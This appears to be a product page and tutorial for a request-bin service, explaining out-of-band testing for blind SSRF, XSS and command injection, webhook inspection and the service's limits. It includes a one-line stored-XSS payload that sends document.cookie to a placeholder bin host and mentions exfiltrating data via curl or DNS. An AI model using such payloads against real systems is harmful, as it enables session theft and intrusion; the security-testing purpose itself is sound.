Out-of-band testing: catching blind callbacks with a bin
Some bugs never show you the result. You send a payload, the page returns the same boring 200, and the interesting thing — a request the server made on your behalf, a script that ran in someone else's browser — happens somewhere you can't see. The trick is to make the target reach back to a server you control. If a request lands, the bug is real. That is the whole idea behind a request bin.
What a request bin actually is
A request bin is a public URL that records every HTTP request sent to it and replies with a harmless 200. You point something at it — a webhook, an exploit payload, a curious server — and then you read back what arrived. Ours is at /bin. For each hit it captures the method, the path and query string, the headers, the body, the byte size, and the source IP as the origin saw it (including x-forwarded-for and cf-connecting-ip). That last part matters more than it looks: the source IP often tells you whether the caller is the public internet, a cloud metadata proxy, or some box deep inside a network you were probing.
curl -s exl.ink/api/bin/new # -> captureUrl + inspectUrl (with secret)OAST: testing the bug you can't see
The security name for this is OAST — out-of-band application security testing. The canonical implementation is Burp Collaborator, which hands you a unique domain, you plant it in payloads, and Burp polls its own server to see whether the target ever phoned home. A request bin is the same shape without the suite: a URL you control, plus a page you watch.
It earns its keep against blind vulnerabilities — the class where the normal in-band channel gives you nothing:
- Blind SSRF — you can make the server fetch a URL, but the response never comes back to you. Put your bin URL in the field (a
Refererheader, an avatar URL, a webhook target) and watch. A hit confirms the server-side fetch. PortSwigger calls out-of-band techniques the most reliable way to detect blind SSRF. - Blind / stored XSS — your script is stored somewhere you can't reach, like an admin-only support queue, and executes in someone else's browser. A payload that does
fetch('https://yourbin/'+document.cookie)turns that invisible execution into a request you can read, with the victim's context attached. - Blind command injection / SQLi — when output is suppressed, you exfiltrate out of band: make the target run
curlor resolve a hostname that encodes the stolen data into a label.
DNS callbacks vs HTTP callbacks
OOB callbacks come in two flavors, and the difference is diagnostic. An HTTP callback means the target opened a full connection and sent you a request — method, headers, body, the lot. A DNS callback means it only resolved your hostname. You will routinely see a DNS lookup with no HTTP request following it, and PortSwigger flags this exact pattern: the app tried to connect, which forced the lookup, but an egress firewall blocked the HTTP traffic. That is still a confirmed SSRF — the server is reaching out — it just tells you outbound HTTP is filtered while DNS is not.
A DNS-only hit is not a miss. It is the network telling you what it lets through.
A request bin captures the HTTP side. For DNS-only exfiltration you want a dedicated DNS-logging callback; here, the useful signal is a full request you can pick apart.
Why open CORS matters for browser callbacks
When the caller is a victim's browser — the blind-XSS case — your fetch runs under the same-origin policy. A plain GET or a no-cors POST still leaves the origin, so the request reaches the bin and gets recorded regardless — the browser just hides the opaque response from your script. But if the payload wants to read the response or send custom headers, the browser sends a preflight and expects a permissive Access-Control-Allow-Origin back. A capture endpoint that answers CORS-open accepts those cross-origin calls cleanly. The data arrives either way — the request itself is the proof — but open CORS keeps the simplest exfil payloads from tripping over preflight.
The everyday case: a webhook you can't see fire
Most days this is not about exploits. A payment provider, a CI system, or a Git host says it sends a webhook, and you have no idea what is in it. Point the webhook at a bin and you get the exact payload — signature headers, content type, the JSON body — without standing up a server or guessing at the schema. Then build your real handler against what actually arrives.
When you need the callback to reach code on your own machine rather than just be logged, use /tunnel instead — a sink that streams hits live, or a forward that pipes a public URL to localhost:3000. A bin answers "did it call, and with what." A tunnel answers "can my code respond."
Limits worth knowing
- Bins are ephemeral. The bin and its captures expire, and nothing persists across a restart on our side — copy out anything you need to keep. That is the point of exl.ink, but it means a bin is for a session, not an audit trail.
- It only sees HTTP. No DNS-only logging, no SMTP, no raw TCP. For DNS exfiltration or odd protocols, reach for a tool built for that.
- Bodies are capped and may be truncated; the capture notes the original size. It is rate-limited and best-effort, not a high-volume sink.
- The capture URL is public by design — anyone who knows it can send to it — but reading the captures requires the secret kept in the link fragment. Treat that inspect URL as the credential it is.
- Only ever test systems you are authorized to test. OOB callbacks confirm a vulnerability; they do not grant permission to go looking for one.